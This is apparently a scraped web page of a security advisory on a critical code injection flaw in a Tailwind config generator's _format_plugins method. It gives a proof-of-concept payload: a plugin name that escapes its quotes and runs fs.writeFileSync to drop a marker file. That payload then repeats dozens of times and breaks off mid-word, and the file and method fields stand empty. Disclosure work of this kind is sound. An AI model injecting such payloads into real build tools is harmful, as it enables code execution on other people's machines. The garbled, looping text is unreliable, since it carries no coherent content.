Code Injection RCE in tailwind_config_gen.py _format_plugins

Vulnerability Summary Overview Vulnerability Type: Code Injection - RCE Vulnerability CVSS Score: 9.3 (Critical) Report ID: #246 Fix PR: #275 Impact Scope Affected File: Affected Method: Vulnerability Principle: This method directly inserts plugin names into a JavaScript statement without any sanitization. Attack Vector: Plugin name contains single quotes (e.g., `fs');writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');require('fs');fs.writeFileSync('/tmp/rce','PWNED');requi

Goal Reached Thanks to every supporter — we hit 100%!

Code Injection RCE in tailwind_config_gen.py _format_plugins

More from this source